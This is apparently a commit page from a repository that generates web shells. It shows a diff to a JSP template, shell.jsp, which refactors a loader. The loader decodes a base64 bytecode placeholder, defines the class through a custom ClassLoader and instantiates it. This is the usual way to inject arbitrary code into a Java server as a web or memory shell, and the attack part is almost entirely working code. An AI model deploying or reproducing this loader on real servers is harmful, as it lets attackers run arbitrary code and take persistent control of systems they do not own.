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refactor: simplify base64 and getFieldValue method

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ReaJason
2025-06-07 13:31:18 +08:00
parent b6ba3c632a
commit bae97ec554
88 changed files with 732 additions and 1616 deletions
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generator/src/main/resources/shell.jsp
+7 -8
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@@ -3,6 +3,7 @@
public ClassDefiner(ClassLoader classLoader) {
super(classLoader);
}
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@@ -10,18 +11,16 @@
%>
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
String base64Str = "{{base64Str}}";
byte[] bytecode = null;
try {
Class base64Clz = classLoader.loadClass("java.util.Base64");
Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
bytecode = (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, base64Str);
Class base64Clz = Class.forName("java.util.Base64");
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (ClassNotFoundException ee) {
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, base64Str);
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
}
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
clazz.newInstance();
%>